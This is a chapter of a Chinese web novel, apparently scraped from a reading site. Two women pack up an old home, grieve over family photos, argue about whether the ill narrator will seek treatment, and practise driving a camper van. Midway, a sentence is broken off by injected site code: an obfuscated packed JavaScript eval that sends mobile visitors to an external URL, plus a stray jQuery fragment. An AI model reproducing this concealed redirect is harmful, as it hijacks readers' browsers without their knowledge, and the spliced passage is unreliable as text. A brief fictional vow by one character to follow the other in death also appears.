第二天,安青清难得起个大早,七点钟就清醒地睁开眼睛去洗漱,照着卫生间那张小小的镜子左看右看。

    袖子撸到肩膀处,胳膊上那些看起来像是鲜红色朱砂痣的小血点消失不少,只是比上次腿上出现的那些,更加顽固。

    本来是想趁着邱瑛还没睡醒,把昨天买的放到车上去,可打开冰箱一看,好嘛,昨天晚上一顿饭给吃完了,如今冰箱里就剩下一块肉、两个没炒完的番茄和两串葡萄提子。

    哦,还有隔壁大娘送来,她们吃饭时候没吃上的两瓶肉酱。

    掏出个勺子,安青清就着打开的冰箱躲着偷吃两口,唔,有点咸,毕竟是用来拌饭的,好吃。

    “干什么呢。”

    略带着睡意的声音从门外传进来,安青清来不及盖上盖子,一把塞进冰箱,蹑手蹑脚关上门。

    欸!不对啊,她躲什么。

    想起这个,安青清又理直气壮地把罐子拿出来,掏出个碗和干净勺子舀出好几勺。

    锅里加水,开火,假装刚才就已经打开火要烧水了。

    “煮面,你吃多少?”

    邱瑛搓搓脸,路过门口看向里边,一只勺子放在碗里,另一只带着油渍的勺子掩饰性丢进水池。

    “不要一早上就吃凉的。”声音随着邱瑛走进浴室减弱。

    可恶!本来想去小区门口包子铺买包子的,贪一口肉酱害她只能早上吃白水面。

    等到白水面出过,配上香菇肉酱一拌,安青清那本就不多的怨念消散一空。

    好吃!隔壁大娘你摆摊吧,只卖给她们太可惜了。

    要不……

    安青清下意识掏出手机看眼余额,还剩下九十万零七千三百块。

    顺手点进软件搜索摆个摊需要做什么准备。

    邱瑛咽下一口面,看着安青清渐渐掉进手机里,指尖敲了敲桌面。

    “先吃饭。”

    好吧,安青清暗灭手机,想着吃完饭再去搜一下,可等她吃完饭,立马就把这件事抛之脑后,摩拳擦整要跟着邱瑛一起整理物品。

    衣服昨天已经整理过,剩下来的都是可以放在房车上留着,锅碗瓢盆之类的因为用的时间久,也该换代,所以一件不留全部抛弃。

    床底下箱子里很多东西都是安青清母父的东西,其中有两本巴掌大,厚厚的,灰扑扑墨绿色相册。

    翻开后能看见她母亲和父亲的婚纱照,女子身穿白色泡泡袖,裙撑把裙纱全部撑起来,站在粉色芍药花丛中笑得明媚。

    往后翻几页,就是怀着孕的母亲,穿着白色连衣裙,披着宽披肩,浑身散发着慈爱与属于女性的神性。

    再往后,她怀中抱着个小婴儿,一个月的安青清,三个月的安青清,五个月的安青清,直到一岁,据说那时候她怎么也不愿意呆在母亲怀里拍照。

    于是,两本的其中一本成为安青清的成长相册,母亲很少在这里出境,可能是因为这时候大部分都是母亲在给她拍照。

    从幼儿长到儿童,青少年,那时候邱瑛的身影就已经出现。

    长大后的安青清很少有时间去给母亲拍照,也没有意识到,母亲的生命倒计时会那么快就开始。

    母亲生病后,即使安青清想要给她拍照,也会被她肃着脸要过手机删掉。

    啪。

    一滴泪落在相册上,被及时察觉的安青清手足无措地擦掉。

    相片太老了,即使有塑封也泛着时间流淌过的黄色。

    “怪不得人家电影,回忆杀都用泛黄色调呢。”

    安青清抬起头,眼眶连带着眼白都爬上猩红色,喉头哽着不想哭出声,就这样还要去开玩笑。

    邱瑛没接话,她拿着的是属于安青清那一本成长相册,低着头,指尖不住摩挲照片中安青清的脸。

    “你干嘛呀,搞得好像我已经……”后半句被邱瑛扑过来给堵住,两只手死死捂着安青清下半张脸,那个字一星半点都吐不出来。

    气氛逐渐凝滞,被扑倒在地上的安青清忍不住抬起手,在邱瑛脑袋上顺着毛抚摸。

    她发不出声音,就光是眼睛弯着。

    不哭,不哭。

    “你不在,我也跟着你去。”

    这一句,邱瑛说得如同誓言,她支起身体,眼睛直直望进安青清心底。

    安青清这下躺不住了,双手用力把邱瑛的手扒拉开,几乎是撒泼打滚的音调喊出来:

    “那不行!”

    “咱们刚买的房子,我还想当包租婆呢,还有咱家那个房子,钱姨可说了她回去考虑卖给咱。”所以你还有很多可以体验的。

    “那就去治病。”邱瑛脱口而出。

    “唉。”安青清叹口气,不知道怎么说,“我不是说了嘛,不想去。”

    “那我就跟你一起。”邱瑛冷着脸,抱着胳膊往床上一坐。

    安青清手指忍不住开始扣指甲,坐在地上仰着头看邱瑛,灯光照在脸上,表情被看得一清二楚。

    “不行。”

    "我不想最后还要在医院走掉,不想窝在一个小地方,还要麻烦别人。”

    安青清挪动身体,上前抱住邱瑛双腿,“想要你能永远记着我,而不是尽全力给我治病,我离开之后你就可以安心地忘记我。”

    “那我就跟你一起。”邱瑛再次重复。

    “不行不行不行!”安青清恼怒,这个人怎么回事,跟唐僧那个啰嗦鬼似的,一点油盐不进。

    邱瑛瞥她一眼,冷漠开口:“好话赖话都叫你说个遍。”

    哼。

    安青清扭头,双手松开邱瑛的腿,倔强地挪动到墙角长蘑菇。

    也不是吵架,她不愿意去,邱瑛又不能拿她怎样。

    可两人都不愿直接翻篇,所以……

    两人冷着脸收拾东西,打包好放到门口,时不时抬起头时对视一眼,然后瞬间挪开。

    端着东西啊下楼时,正好碰见穿戴着新挡风被的电动车,隔壁大娘热情地挥手,喊着很暖和,突突突地飞快骑走。

    下楼之前看了眼时间,八点四十五,隔壁大娘这是根本没有时间停下跟两人打招呼,只能一边拧车把,一边高声呼喊。

    还好附近老年人多,起床都偏早,不会被这一嗓

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926512|213545||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    子惊醒,不然还是个罪过。

    看着隔壁大娘远去,安青清没忍住笑出声,下意识瞥向邱瑛,就见她也是堪堪收回视线。

    因为生病瘦的很,安青清力气也没有以前大,走出去百米就忍不住歇一歇,看见邱瑛在前边顿住脚步等她才又抬脚。

    还好停车位不远,不然安青清都想叫个搬家车。

    又一次停下,身上挂满袋子,手上还捧着摞在一起的两只大箱子,恨不得脖子上也挂满东西的邱瑛转过身。

    “你放着吧,站那等我。”邱瑛声音里带着无奈。

    谁知道,她刚说完话,安青清噌地站直身体,捧着箱子往前大跨好几步,也不累了,也不歇脚了,精神抖擞地跑到车前。

    “我赢了。”安青清洋洋得意,掏出钥匙怼进锁孔,车门拽开之后两步踩上去,鞋子一甩。

    邱瑛微笑,呵,等着吧。

    车上的床上次打开就没收回去,这会儿安青清正躺在床上美滋滋,左等右等不见邱瑛人影,翻个身下床趴到薄柜上扒开百叶帘一看。

    好嘛,人家已经坐在箱子上,不知道从哪个袋子里掏出两顶帽子,其中一顶拿在手上悠哉悠哉地扇风。

    十月的天气算是秋老虎,但也没有那么热吧!

    察觉有道幽怨的目光望过来,邱瑛扭头,正好看到安青清扒着折页帘的手和眼睛,她勾唇一笑,做个口型。

    “求求我。”

    嘿!?

    安青清恨恨放下窗帘,猛地转过身,两秒后出现在车门口。

    两人之间大概隔着四个停车位,距离不远,稍微大点声就能听见双方说话。

    她不情不愿地穿鞋下车,慢吞吞走过去,拎起两只袋子,还得腾出手去拽邱瑛,嘴上小声念叨:

    “走了走了。”

    极其轻微的一声哼笑被安青清听得清清楚楚,本就是她使诈,被笑就被笑吧。

    邱瑛挑眉,在安青清手上借点力站起身,她比安青清矮点,站直身体稍稍一垂眸就能看见对方那想勾起来硬被忍下去的唇角。

    不用使劲拽着人了,安青清直接松手,拎着袋子把头一甩,扭头就走,那叫一个潇洒。

    如果没有在上车之后偷偷扒着门框看邱瑛有没有跟上来的话。

    整理东西说费时间也是非常费时间的事情,整个白天都在规划东西到底该摆在哪里,就连中午饭安青清都是想干脆用水果混过去。

    结果是邱瑛死亡微笑着把她按在收起来的座椅上,盯着她选出想吃的点了外卖。

    从中午又忙到晚上,正好该放学的放学,该下班的下班,基本上都呆在家里,路上行人最少的时候,邱瑛准备练车。

    有证练车。

    只是两人上次摸车已经是考驾照的时候了,距今已经得七八年,乍一上手,还有点小紧张。

    安青清坐在副驾驶,双手紧紧攥紧安全带,整个人都十分不放心地紧绷着。

    邱瑛冷哼一声,脚先踩上离合,然后慢慢松开,路上人少,也还没到老太太们出来跳广场舞的时间,没有多余干扰项,于是慢慢地开始熟练起来。